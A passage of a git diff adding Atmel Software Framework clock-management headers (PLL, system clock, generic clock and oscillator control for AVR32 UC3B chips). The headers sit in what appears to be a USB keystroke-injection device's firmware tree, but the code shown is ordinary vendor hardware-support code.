The default input divider of PLL \a n. + * + * These configuration symbols determine the result of calling + * pll_config_defaults() and pll_get_default_rate(). + * + * @{ + */ + +//! \name Chip-specific PLL characteristics +//@{ +/** + * \def PLL_MAX_STARTUP_CYCLES + * \brief Maximum PLL startup time in number of slow clock cycles + */ +/** + * \def NR_PLLS + * \brief Number of on-chip PLLs + */ + +/** + * \def PLL_MIN_HZ + * \brief Minimum frequency that the PLL can generate + */ +/** + * \def PLL_MAX_HZ + * \brief Maximum frequency that the PLL can generate + */ +/** + * \def PLL_NR_OPTIONS + * \brief Number of PLL option bits + */ +//@} + +/** + * \enum pll_source + * \brief PLL clock source + */ + +//! \name PLL configuration +//@{ + +/** + * \struct pll_config + * \brief Hardware-specific representation of PLL configuration. + * + * This structure contains one or more device-specific values + * representing the current PLL configuration. The contents of this + * structure is typically different from platform to platform, and the + * user should not access any fields except through the PLL + * configuration API. + */ + +/** + * \fn void pll_config_init(struct pll_config *cfg, + * enum pll_source src, unsigned int div, unsigned int mul) + * \brief Initialize PLL configuration from standard parameters. + * + * \note This function may be defined inline because it is assumed to be + * called very few times, and usually with constant parameters. Inlining + * it will in such cases reduce the code size significantly. + * + * \param cfg The PLL configuration to be initialized. + * \param src The oscillator to be used as input to the PLL. + * \param div PLL input divider. + * \param mul PLL loop divider (i.e. multiplier). + * + * \return A configuration which will make the PLL run at + * (\a mul / \a div) times the frequency of \a src + */ +/** + * \def pll_config_defaults(cfg, pll_id) + * \brief Initialize PLL configuration using default parameters. + * + * After this function returns, \a cfg will contain a configuration + * which will make the PLL run at (CONFIG_PLLx_MUL / CONFIG_PLLx_DIV) + * times the frequency of CONFIG_PLLx_SOURCE. + * + * \param cfg The PLL configuration to be initialized. + * \param pll_id Use defaults for this PLL. + */ +/** + * \def pll_get_default_rate(pll_id) + * \brief Get the default rate in Hz of \a pll_id + */ +/** + * \fn void pll_config_set_option(struct pll_config *cfg, + * unsigned int option) + * \brief Set the PLL option bit \a option in the configuration \a cfg. + * + * \param cfg The PLL configuration to be changed. + * \param option The PLL option bit to be set. + */ +/** + * \fn void pll_config_clear_option(struct pll_config *cfg, + * unsigned int option) + * \brief Clear the PLL option bit \a option in the configuration \a cfg. + * + * \param cfg The PLL configuration to be changed. + * \param option The PLL option bit to be cleared. + */ +/** + * \fn void pll_config_read(struct pll_config *cfg, unsigned int pll_id) + * \brief Read the currently active configuration of \a pll_id. + * + * \param cfg The configuration object into which to store the currently + * active configuration. + * \param pll_id The ID of the PLL to be accessed. + */ +/** + * \fn void pll_config_write(const struct pll_config *cfg, + * unsigned int pll_id) + * \brief Activate the configuration \a cfg on \a pll_id + * + * \param cfg The configuration object representing the PLL + * configuration to be activated. + * \param pll_id The ID of the PLL to be updated. + */ + +//@} + +//! \name Interaction with the PLL hardware +//@{ +/** + * \fn void pll_enable(const struct pll_config *cfg, + * unsigned int pll_id) + * \brief Activate the configuration \a cfg and enable PLL \a pll_id. + * + * \param cfg The PLL configuration to be activated. + * \param pll_id The ID of the PLL to be enabled. + */ +/** + * \fn void pll_disable(unsigned int pll_id) + * \brief Disable the PLL identified by \a pll_id. + * + * After this function is called, the PLL identified by \a pll_id will + * be disabled. The PLL configuration stored in hardware may be affected + * by this, so if the caller needs to restore the same configuration + * later, it should either do a pll_config_read() before disabling the + * PLL, or remember the last configuration written to the PLL. + * + * \param pll_id The ID of the PLL to be disabled. + */ +/** + * \fn bool pll_is_locked(unsigned int pll_id) + * \brief Determine whether the PLL is locked or not. + * + * \param pll_id The ID of the PLL to check. + * + * \retval true The PLL is locked and ready to use as a clock source + * \retval false The PLL is not yet locked, or has not been enabled. + */ + +/** + * \brief Wait for PLL \a pll_id to become locked + * + * \todo Use a timeout to avoid waiting forever and hanging the system + * + * \param pll_id The ID of the PLL to wait for. + * + * \retval STATUS_OK The PLL is now locked. + * \retval ERR_TIMEOUT Timed out waiting for PLL to become locked. + */ +static inline int pll_wait_for_lock(unsigned int pll_id) +{ + Assert(pll_id < NR_PLLS); + + while (!pll_is_locked(pll_id)) { + /* Do nothing */ + } + + return 0; +} + +//@} +//! @} + +#endif /* CLK_PLL_H_INCLUDED */ diff --git a/Rubber_Duck/HAK/Firmware/Source/Ducky_Multi_Payload/src/asf/common/services/clock/sysclk.h b/Rubber_Duck/HAK/Firmware/Source/Ducky_Multi_Payload/src/asf/common/services/clock/sysclk.h new file mode 100644 index 0000000..fd617f2 --- /dev/null +++ b/Rubber_Duck/HAK/Firmware/Source/Ducky_Multi_Payload/src/asf/common/services/clock/sysclk.h @@ -0,0 +1,150 @@ +/** + * \file + * + * \brief System clock management + * + * Copyright (C) 2010 Atmel Corporation. All rights reserved. + * + * \page License + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions are met: + * + * 1. Redistributions of source code must retain the above copyright notice, + * this list of conditions and the following disclaimer. + * + * 2. Redistributions in binary form must reproduce the above copyright notice, + * this list of conditions and the following disclaimer in the documentation + * and/or other materials provided with the distribution. + * + * 3. The name of Atmel may not be used to endorse or promote products derived + * from this software without specific prior written permission. + * + * 4. This software may only be redistributed and used in connection with an + * Atmel AVR product. + * + * THIS SOFTWARE IS PROVIDED BY ATMEL "AS IS" AND ANY EXPRESS OR IMPLIED + * WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF + * MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NON-INFRINGEMENT ARE + * EXPRESSLY AND SPECIFICALLY DISCLAIMED. IN NO EVENT SHALL ATMEL BE LIABLE FOR + * ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL + * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR + * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER + * CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT + * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY + * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH + * DAMAGE. + */ +#ifndef SYSCLK_H_INCLUDED +#define SYSCLK_H_INCLUDED + +#include +#include "conf_clock.h" + +#if (UC3A0 || UC3A1) +# include "uc3a0_a1/sysclk.h" +#elif UC3A3 +# include "uc3a3_a4/sysclk.h" +#elif UC3B +# include "uc3b0_b1/sysclk.h" +#elif UC3C +# include "uc3c/sysclk.h" +#elif UC3D +# include "uc3d/sysclk.h" +#elif UC3L +# include "uc3l/sysclk.h" +#elif XMEGA +# include "xmega/sysclk.h" +#else +# error Unsupported chip type +#endif + +/** + * \defgroup clk_group Clock Management + */ + +/** + * \ingroup clk_group + * \defgroup sysclk_group System Clock Management + * + * The sysclk API covers the system clock and all + * clocks derived from it. The system clock is a chip-internal clock on + * which all synchronous clocks, i.e. CPU and bus/peripheral + * clocks, are based. The system clock is typically generated from one + * of a variety of sources, which may include crystal and RC oscillators + * as well as PLLs. The clocks derived from the system clock are + * sometimes also known as synchronous clocks, since they + * always run synchronously with respect to each other, as opposed to + * generic clocks which may run from different oscillators or + * PLLs. + * + * Most applications should simply call sysclk_init() to initialize + * everything related to the system clock and its source (oscillator, + * PLL or DFLL), and leave it at that. More advanced applications, and + * platform-specific drivers, may require additional services from the + * clock system, some of which may be platform-specific. + * + * \section sysclk_group_platform Platform Dependencies + * + * The sysclk API is partially chip- or platform-specific. While all + * platforms provide mostly the same functionality, there are some + * variations around how different bus types and clock tree structures + * are handled. + * + * The following functions are available on all platforms with the same + * parameters and functionality. These functions may be called freely by + * portable applications, drivers and services: + * - sysclk_init() + * - sysclk_set_source() + * - sysclk_get_main_hz() + * - sysclk_get_cpu_hz() + * - sysclk_get_peripheral_bus_hz() + * + * The following functions are available on all platforms, but there may + * be variations in the function signature (i.e. parameters) and + * behaviour. These functions are typically called by platform-specific + * parts of drivers, and applications that aren't intended to be + * portable: + * - sysclk_enable_peripheral_clock() + * - sysclk_disable_peripheral_clock() + * - sysclk_enable_module() + * - sysclk_disable_module() + * - sysclk_module_is_enabled() + * - sysclk_set_prescalers() + * + * All other functions should be considered platform-specific. + * Enabling/disabling clocks to specific peripherals as well as + * determining the speed of these clocks should be done by calling + * functions provided by the driver for that peripheral. + * + * @{ + */ + +//! \name System Clock Initialization +//@{ +/** + * \fn void sysclk_init(void) + * \brief Initialize the synchronous clock system. + * + * This function will initialize the system clock and its source. This + * includes: + * - Mask all synchronous clocks except for any clocks which are + * essential for normal operation (for example internal memory + * clocks). + * - Set up the system clock prescalers as specified by the + * application's configuration file. + * - Enable the clock source specified by the application's + * configuration file (oscillator or PLL) and wait for it to become + * stable. + * - Set the main system clock source to the clock specified by the + * application's configuration file. + * + * Since all non-essential peripheral clocks are initially disabled, it + * is the responsibility of the peripheral driver to re-enable any + * clocks that are needed for normal operation. + */ +//@} + +//! @} + +#endif /* SYSCLK_H_INCLUDED */ diff --git a/Rubber_Duck/HAK/Firmware/Source/Ducky_Multi_Payload/src/asf/common/services/clock/uc3b0_b1/genclk.h b/Rubber_Duck/HAK/Firmware/Source/Ducky_Multi_Payload/src/asf/common/services/clock/uc3b0_b1/genclk.h new file mode 100644 index 0000000..13d1fd5 --- /dev/null +++ b/Rubber_Duck/HAK/Firmware/Source/Ducky_Multi_Payload/src/asf/common/services/clock/uc3b0_b1/genclk.h @@ -0,0 +1,129 @@ +/** + * \file + * + * \brief Chip-specific generic clock management + * + * Copyright (C) 2010 Atmel Corporation. All rights reserved. + * + * \page License + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions are met: + * + * 1. Redistributions of source code must retain the above copyright notice, + * this list of conditions and the following disclaimer. + * + * 2. Redistributions in binary form must reproduce the above copyright notice, + * this list of conditions and the following disclaimer in the documentation + * and/or other materials provided with the distribution. + * + * 3. The name of Atmel may not be used to endorse or promote products derived + * from this software without specific prior written permission. + * + * 4. This software may only be redistributed and used in connection with an + * Atmel AVR product. + * + * THIS SOFTWARE IS PROVIDED BY ATMEL "AS IS" AND ANY EXPRESS OR IMPLIED + * WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF + * MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NON-INFRINGEMENT ARE + * EXPRESSLY AND SPECIFICALLY DISCLAIMED. IN NO EVENT SHALL ATMEL BE LIABLE FOR + * ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL + * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR + * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER + * CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT + * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY + * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH + * DAMAGE. + */ +#ifndef CHIP_GENCLK_H_INCLUDED +#define CHIP_GENCLK_H_INCLUDED + +/** + * \weakgroup genclk_group + * @{ + */ + +//! \name Chip-specific generic clock definitions +//@{ + +//! The max division factor applicable to the source clock of the generic clock +#define GENCLK_DIV_MAX ((1 << AVR32_PM_GCCTRL_DIV_SIZE) * 2) + +#ifndef __ASSEMBLY__ + +#include +#include + +enum genclk_source { + GENCLK_SRC_OSC0 = 0, //!< Oscillator 0 + GENCLK_SRC_OSC1 = 1, //!< Oscillator 1 + GENCLK_SRC_PLL0 = 2, //!< PLL 0 + GENCLK_SRC_PLL1 = 3, //!< PLL 1 +}; + +//@} + +struct genclk_config { + uint32_t ctrl; +}; + +static inline void genclk_config_defaults(struct genclk_config *cfg, + unsigned int id) +{ + cfg->ctrl = 0; +} + +static inline void genclk_config_read(struct genclk_config *cfg, + unsigned int id) +{ + cfg->ctrl = AVR32_PM.gcctrl[id]; +} + +static inline void genclk_config_write(const struct genclk_config *cfg, + unsigned int id) +{ + AVR32_PM.gcctrl[id] = cfg->ctrl; +} + +static inline void genclk_config_set_source(struct genclk_config *cfg, + enum genclk_source src) +{ + uint32_t mask; + + mask = AVR32_PM_GCCTRL_OSCSEL_MASK | AVR32_PM_GCCTRL_PLLSEL_MASK; + Assert(!(src & ~mask)); + + cfg->ctrl = (cfg->ctrl & ~mask) | (src << AVR32_PM_GCCTRL_OSCSEL); +} + +static inline void genclk_config_set_divider(struct genclk_config *cfg, + unsigned int divider) +{ + Assert((divider > 0) && (divider <= GENCLK_DIV_MAX)); + + /* Clear all the bits we're about to modify */ + cfg->ctrl &= ~(AVR32_PM_GCCTRL_DIVEN_MASK | AVR32_PM_GCCTRL_DIV_MASK); + + if (divider > 1) { + cfg->ctrl |= 1U << AVR32_PM_GCCTRL_DIVEN; + cfg->ctrl |= ((divider >> 1) - 1) << AVR32_PM_GCCTRL_DIV; + } +} + +static inline void genclk_enable(const struct genclk_config *cfg, + unsigned int id) +{ + AVR32_PM.gcctrl[id] = cfg->ctrl | (1U << AVR32_PM_GCCTRL_CEN); +} + +static inline void genclk_disable(unsigned int id) +{ + AVR32_PM.gcctrl[id] = 0; +} + + +#endif /* __ASSEMBLY__ */ + +//! @} + +#endif /* CHIP_GENCLK_H_INCLUDED */ diff --git a/Rubber_Duck/HAK/Firmware/Source/Ducky_Multi_Payload/src/asf/common/services/clock/uc3b0_b1/osc.h b/Rubber_Duck/HAK/Firmware/Source/Ducky_Multi_Payload/src/asf/common/services/clock/uc3b0_b1/osc.h new file mode 100644 index 0000000..099c912 --- /dev/null +++ b/Rubber_Duck/HAK/Firmware/Source/Ducky_Multi_Payload/src/asf/common/services/clock/uc3b0_b1/osc.h @@ -0,0 +1,431 @@ +/** + * \file + * + * \brief Chip-specific oscillator management functions + * + * Copyright (C) 2010 Atmel Corporation. All rights reserved. + * + * \page License + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions are met: + * + * 1. Redistributions of source code must retain the above copyright notice, + * this list of conditions and the following disclaimer. + * + * 2. Redistributions in binary form must reproduce the above copyright notice, + * this list of conditions and the following disclaimer in the documentation + * and/or other materials provided with the distribution. + * + * 3. The name of Atmel may not be used to endorse or promote products derived + * from this software without specific prior written permission. + * + * 4. This software may only be redistributed and used in connection with an + * Atmel AVR product. + * + * THIS SOFTWARE IS PROVIDED BY ATMEL "AS IS" AND ANY EXPRESS OR IMPLIED + * WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF + * MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NON-INFRINGEMENT ARE + * EXPRESSLY AND SPECIFICALLY DISCLAIMED. IN NO EVENT SHALL ATMEL BE LIABLE FOR + * ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL + * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR + * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER + * CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT + * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY + * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH + * DAMAGE. + */ +#ifndef CHIP_OSC_H_INCLUDED +#define CHIP_OSC_H_INCLUDED + +#include + +/** + * \weakgroup osc_group + * @{ + */ + +//! \name Oscillator identifiers +//@{ +#define OSC_ID_OSC0 0 //!< External Oscillator 0 +#define OSC_ID_OSC1 1 //!< External Oscillator 1 +#define OSC_ID_OSC32 2 //!< External 32 kHz oscillator +//@} + +//! \name OSC0/OSC1 mode values +//@{ +//! External clock connected to XIN +#define OSC_MODE_EXTERNAL AVR32_PM_MODE_EXT_CLOCK +//! Crystal connected to XIN/XOUT. Use oscillator gain G0 (400 kHz to 900 kHz) +#define OSC_MODE_XTAL_G0 AVR32_PM_MODE_CRYSTAL_G0 +//! Crystal connected to XIN/XOUT. Use oscillator gain G1 (900 kHz to 3 MHz) +#define OSC_MODE_XTAL_G1 AVR32_PM_MODE_CRYSTAL_G1 +//! Crystal connected to XIN/XOUT. Use oscillator gain G2 (3 MHz to 8 MHz) +#define OSC_MODE_XTAL_G2 AVR32_PM_MODE_CRYSTAL_G2 +//! Crystal connected to XIN/XOUT. Use oscillator gain G3 (8 MHz and higher) +#define OSC_MODE_XTAL_G3 AVR32_PM_MODE_CRYSTAL_G3 +//@} + +//! \name OSC32 mode values +//@{ +//! External clock connected to XIN32 +#define OSC32_MODE_EXTERNAL AVR32_PM_OSCCTRL32_MODE_EXT_CLOCK +//! Crystal connected to XIN32/XOUT32. Use automatic gain control +#define OSC32_MODE_XTAL AVR32_PM_OSCCTRL32_MODE_CRYSTAL +//@} + +//! \name OSC0/OSC1 startup values +//@{ +//! 0 cycles +#define OSC_STARTUP_0 AVR32_PM_OSCCTRL0_STARTUP_0_RCOSC +//! 64 cycles (560 us) +#define OSC_STARTUP_64 AVR32_PM_OSCCTRL0_STARTUP_64_RCOSC +//! 128 cycles (1.1 ms) +#define OSC_STARTUP_128 AVR32_PM_OSCCTRL0_STARTUP_128_RCOSC +//! 2048 cycles (18 ms) +#define OSC_STARTUP_2048 AVR32_PM_OSCCTRL0_STARTUP_2048_RCOSC +//! 4096 cycles (36 ms) +#define OSC_STARTUP_4096 AVR32_PM_OSCCTRL0_STARTUP_4096_RCOSC +//! 8192 cycles (71 ms) +#define OSC_STARTUP_8192 AVR32_PM_OSCCTRL0_STARTUP_8192_RCOSC +//! 16384 cycles (142 ms) +#define OSC_STARTUP_16384 AVR32_PM_OSCCTRL0_STARTUP_16384_RCOSC +//@} + +//! \name OSC32 startup values +//@{ +//! 0 cycles +#define OSC32_STARTUP_0 AVR32_PM_OSCCTRL32_STARTUP_0_RCOSC +//! 128 cycles (1.1 ms) +#define OSC32_STARTUP_128 AVR32_PM_OSCCTRL32_STARTUP_128_RCOSC +//! 8192 cycles (72.3 ms) +#define OSC32_STARTUP_8192 AVR32_PM_OSCCTRL32_STARTUP_8192_RCOSC +//! 16384 cycles (143 ms) +#define OSC32_STARTUP_16384 AVR32_PM_OSCCTRL32_STARTUP_16384_RCOSC +//! 65536 cycles (570 ms) +#define OSC32_STARTUP_65536 AVR32_PM_OSCCTRL32_STARTUP_65536_RCOSC +//! 131072 cycles (1.1 s) +#define OSC32_STARTUP_131072 AVR32_PM_OSCCTRL32_STARTUP_131072_RCOSC +//! 262144 cycles (2.3 s) +#define OSC32_STARTUP_262144 AVR32_PM_OSCCTRL32_STARTUP_262144_RCOSC +//! 524288 cycles (4.6 s) +#define OSC32_STARTUP_524288 AVR32_PM_OSCCTRL32_STARTUP_524288_RCOSC +//@} + +/** + * \def OSC0_STARTUP_TIMEOUT + * \brief Number of slow clock cycles to wait for OSC0 to start + * + * This is the number of slow clock cycles corresponding to + * OSC0_STARTUP_VALUE with an additional 25% safety margin. If the + * oscillator isn't running when this timeout has expired, it is assumed + * to have failed to start. + */ +/** + * \def OSC0_MODE_VALUE + * \brief Board-dependent value written to the MODE bitfield of + * PM_OSCCTRL(0) + */ +/** + * \def OSC0_STARTUP_VALUE + * \brief Board-dependent value written to the STARTUP bitfield of + * PM_OSCCTRL(0) + */ + +#if defined(BOARD_OSC0_STARTUP_US) +# if BOARD_OSC0_STARTUP_US == 0 +# define OSC0_STARTUP_VALUE OSC_STARTUP_0 +# define OSC0_STARTUP_TIMEOUT 8 +# elif BOARD_OSC0_STARTUP_US <= 560 +# define OSC0_STARTUP_VALUE OSC_STARTUP_64 +# define OSC0_STARTUP_TIMEOUT 80 +# elif BOARD_OSC0_STARTUP_US <= 1100 +# define OSC0_STARTUP_VALUE OSC_STARTUP_128 +# define OSC0_STARTUP_TIMEOUT 160 +# elif BOARD_OSC0_STARTUP_US <= 18000 +# define OSC0_STARTUP_VALUE OSC_STARTUP_2048 +# define OSC0_STARTUP_TIMEOUT 2560 +# elif BOARD_OSC0_STARTUP_US <= 36000 +# define OSC0_STARTUP_VALUE OSC_STARTUP_4096 +# define OSC0_STARTUP_TIMEOUT 5120 +# elif BOARD_OSC0_STARTUP_US <= 71000 +# define OSC0_STARTUP_VALUE OSC_STARTUP_8192 +# define OSC0_STARTUP_TIMEOUT 10240 +# elif BOARD_OSC0_STARTUP_US <= 142000 +# define OSC0_STARTUP_VALUE OSC_STARTUP_16384 +# define OSC0_STARTUP_TIMEOUT 20480 +# else +# error BOARD_OSC0_STARTUP_US is too high +# endif +# if BOARD_OSC0_IS_XTAL == true +# if BOARD_OSC0_HZ < 900000 +# define OSC0_MODE_VALUE OSC_MODE_XTAL_G0 +# elif BOARD_OSC0_HZ < 3000000 +# define OSC0_MODE_VALUE OSC_MODE_XTAL_G1 +# elif BOARD_OSC0_HZ < 8000000 +# define OSC0_MODE_VALUE OSC_MODE_XTAL_G2 +# else +# define OSC0_MODE_VALUE OSC_MODE_XTAL_G3 +# endif +# else +# define OSC0_MODE_VALUE OSC_MODE_EXTERNAL +# endif +#else +# ifdef BOARD_OSC0_HZ +# error BOARD_OSC0_STARTUP_US must be defined by the board code +# endif +# ifdef __DOXYGEN__ +# define OSC0_STARTUP_VALUE UNDEFINED +# define OSC0_STARTUP_TIMEOUT UNDEFINED +# define OSC0_MODE_VALUE UNDEFINED +# endif +#endif + +/** + * \def OSC1_STARTUP_VALUE + * \brief Board-dependent value written to the STARTUP bitfield of + * PM_OSCCTRL(1) + */ +/** + * \def OSC1_STARTUP_TIMEOUT + * \brief Number of slow clock cycles to wait for OSC1 to start + * + * This is the number of slow clock cycles corresponding to + * OSC1_STARTUP_VALUE with an additional 25% safety margin. If the + * oscillator isn't running when this timeout has expired, it is assumed + * to have failed to start. + */ +/** + * \def OSC1_MODE_VALUE + * \brief Board-dependent value written to the MODE bitfield of + * PM_OSCCTRL(1) + */ +#if defined(BOARD_OSC1_STARTUP_US) +# if BOARD_OSC1_STARTUP_US == 0 +# define OSC1_STARTUP_VALUE OSC_STARTUP_0 +# define OSC1_STARTUP_TIMEOUT 8 +# elif BOARD_OSC1_STARTUP_US <= 560 +# define OSC1_STARTUP_VALUE OSC_STARTUP_64 +# define OSC1_STARTUP_TIMEOUT 80 +# elif BOARD_OSC1_STARTUP_US <= 1100 +# define OSC1_STARTUP_VALUE OSC_STARTUP_128 +# define OSC1_STARTUP_TIMEOUT 160 +# elif BOARD_OSC1_STARTUP_US <= 18000 +# define OSC1_STARTUP_VALUE OSC_STARTUP_2048 +# define OSC1_STARTUP_TIMEOUT 2560 +# elif BOARD_OSC1_STARTUP_US <= 36000 +# define OSC1_STARTUP_VALUE OSC_STARTUP_4096 +# define OSC1_STARTUP_TIMEOUT 5120 +# elif BOARD_OSC1_STARTUP_US <= 71000 +# define OSC1_STARTUP_VALUE OSC_STARTUP_8192 +# define OSC1_STARTUP_TIMEOUT 10240 +# elif BOARD_OSC1_STARTUP_US <= 142000 +# define OSC1_STARTUP_VALUE OSC_STARTUP_16384 +# define OSC1_STARTUP_TIMEOUT 20480 +# else +# error BOARD_OSC1_STARTUP_US is too high +# endif +# ifdef BOARD_OSC1_IS_XTAL +# if BOARD_OSC1_HZ < 900000 +# define OSC1_MODE_VALUE OSC_MODE_XTAL_G0 +# elif BOARD_OSC1_HZ < 3000000 +# define OSC1_MODE_VALUE OSC_MODE_XTAL_G1 +# elif BOARD_OSC1_HZ < 8000000 +# define OSC1_MODE_VALUE OSC_MODE_XTAL_G2 +# else +# define OSC1_MODE_VALUE OSC_MODE_XTAL_G3 +# endif +# else +# define OSC1_MODE_VALUE OSC_MODE_EXTERNAL +# endif +#else +# ifdef __DOXYGEN__ +# define OSC1_STARTUP_VALUE UNDEFINED +# define OSC1_STARTUP_TIMEOUT UNDEFINED +# define OSC1_MODE_VALUE UNDEFINED +# endif +#endif + +/** + * \name Board-specific configuration parameters + * The following definitions must be provided by the board code for all + * working oscillators on the board. + */ +//@{ +/** + * \def BOARD_OSC0_HZ + * \brief Clock frequency of OSC0 in Hz + */ +/** + * \def BOARD_OSC0_STARTUP_US + * \brief Startup time of OSC0 in microseconds + */ +/** + * \def BOARD_OSC0_IS_XTAL + * \brief OSC0 uses a crystal, not an external clock + */ +/** + * \def BOARD_OSC1_HZ + * \brief Clock frequency of OSC1 in Hz + */ +/** + * \def BOARD_OSC1_STARTUP_US + * \brief Startup time of OSC1 in microseconds + */ +/** + * \def BOARD_OSC1_IS_XTAL + * \brief OSC1 uses a crystal, not an external clock + */ +/** + * \def BOARD_OSC32_HZ + * \brief Clock frequency of OSC32 in Hz + */ +/** + * \def BOARD_OSC32_STARTUP_US + * \brief Startup time of OSC32 in microseconds + */ +/** + * \def BOARD_OSC32_IS_XTAL + * \brief OSC32 uses a crystal, not an external clock + */ +#if !defined(BOARD_OSC0_HZ) +# ifdef __DOXYGEN__ +# define BOARD_OSC0_HZ UNDEFINED +# endif +#endif +#if !defined(BOARD_OSC0_STARTUP_US) +# ifdef __DOXYGEN__ +# define BOARD_OSC0_STARTUP_US UNDEFINED +# endif +#endif +#if !defined(BOARD_OSC0_IS_XTAL) +# ifdef __DOXYGEN__ +# define BOARD_OSC0_IS_XTAL UNDEFINED +# endif +#endif +#if !defined(BOARD_OSC1_HZ) +# ifdef __DOXYGEN__ +# define BOARD_OSC1_HZ UNDEFINED +# endif +#endif +#if !defined(BOARD_OSC1_STARTUP_US) +# ifdef __DOXYGEN__ +# define BOARD_OSC1_STARTUP_US UNDEFINED +# endif +#endif +#if !defined(BOARD_OSC1_IS_XTAL) +# ifdef __DOXYGEN__ +# define BOARD_OSC1_IS_XTAL UNDEFINED +# endif +#endif +#if !defined(BOARD_OSC32_HZ) +# ifdef __DOXYGEN__ +# define BOARD_OSC32_HZ UNDEFINED +# endif +#endif +#if !defined(BOARD_OSC32_STARTUP_US) +# ifdef __DOXYGEN__ +# define BOARD_OSC32_STARTUP_US UNDEFINED +# endif +#endif +#if !defined(BOARD_OSC32_IS_XTAL) +# ifdef __DOXYGEN__ +# define BOARD_OSC32_IS_XTAL UNDEFINED +# endif +#endif +/** + * \name Slow clock frequency limits + * The slow clock is an internal RC oscillator whose frequency may drift + * a bit as a result of temperature changes. These definitions provide + * upper and lower limits which may be used to calculate upper and lower + * limits of timeouts, derived clock frequencies, etc. + */ +//@{ +//! Nominal frequency of the slow clock in Hz +#define OSC_SLOW_NOMINAL_HZ AVR32_PM_RCOSC_FREQUENCY +//! Minimum frequency of the slow clock in Hz +#define OSC_SLOW_MIN_HZ 100000 +//! Maximum frequency of the slow clock in Hz +#define OSC_SLOW_MAX_HZ 120000 +//@} + +#ifndef __ASSEMBLY__ + +#include +#include +#include + +static inline void osc_enable(uint8_t id) +{ + irqflags_t flags; + uint32_t oscctrl; + + flags = cpu_irq_save(); + + switch (id) { +#ifdef BOARD_OSC0_HZ + case OSC_ID_OSC0: + oscctrl = OSC0_STARTUP_VALUE << + AVR32_PM_OSCCTRL0_STARTUP_OFFSET; + oscctrl |= OSC0_MODE_VALUE << AVR32_PM_OSCCTRL0_MODE_OFFSET; + AVR32_PM.oscctrl0 = oscctrl; + AVR32_PM.mcctrl |= 1 << AVR32_PM_MCCTRL_OSC0EN; + break; +#endif + +#ifdef BOARD_OSC1_HZ + case OSC_ID_OSC1: + oscctrl = OSC1_STARTUP_VALUE << + AVR32_PM_OSCCTRL1_STARTUP_OFFSET; + oscctrl |= OSC1_MODE_VALUE << AVR32_PM_OSCCTRL1_MODE_OFFSET; + AVR32_PM.oscctrl1 = oscctrl; + AVR32_PM.mcctrl |= 1 << AVR32_PM_MCCTRL_OSC1EN; + break; +#endif + + default: + /* unhandled_case(id); */ + break; + } + + cpu_irq_restore(flags); +} + +static inline void osc_disable(uint8_t id) +{ + irqflags_t flags; + + flags = cpu_irq_save(); + AVR32_PM.mcctrl &= ~(1U << (AVR32_PM_MCCTRL_OSC0EN + id)); + cpu_irq_restore(flags); +} + +static inline bool osc_is_ready(uint8_t id) +{ + return !!(AVR32_PM.poscsr & (1U << (AVR32_PM_POSCSR_OSC0RDY + id))); +} + +static inline uint32_t osc_get_rate(uint8_t id) +{ + switch (id) { +#ifdef BOARD_OSC0_HZ + case OSC_ID_OSC0: + return BOARD_OSC0_HZ; +#endif + +#ifdef BOARD_OSC1_HZ + case OSC_ID_OSC1: + return BOARD_OSC1_HZ; +#endif + + default: + /* unhandled_case(id); */ + return 0; + } +} + +#endif /* !__ASSEMBLY__ */ + +//! @} + +#endif /* CHIP_OSC_H_INCLUDED */ diff --git a/Rubber_Duck/HAK/Firmware/Source/Ducky_Multi_Payload/src/asf/common/services/clock/uc3b0_b1/pll.h b/Rubber_Duck/HAK/Firmware/Source/Ducky_Multi_Payload/src/asf/common/services/clock/uc3b0_b1/pll.h new file mode 100644 index 0000000..262c384 --- /dev/null +++ b/Rubber_Duck/HAK/Firmware/Source/Ducky_Multi_Payload/src/asf/common/services/clock/uc3b0_b1/pll.h @@ -0,0 +1,201 @@ +/** + * \file + * + * \brief Chip-specific PLL definitions + * + * Copyright (C) 2010 Atmel Corporation. All rights reserved. + * + * \page License + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions are met: + * + * 1. Redistributions of source code must retain the above copyright notice, + * this list of conditions and the following disclaimer. + * + * 2. Redistributions in binary form must reproduce the above copyright notice, + * this list of conditions and the following disclaimer in the documentation + * and/or other materials provided with the distribution. + * + * 3. The name of Atmel may not be used to endorse or promote products derived + * from this software without specific prior written permission. + * + * 4. This software may only be 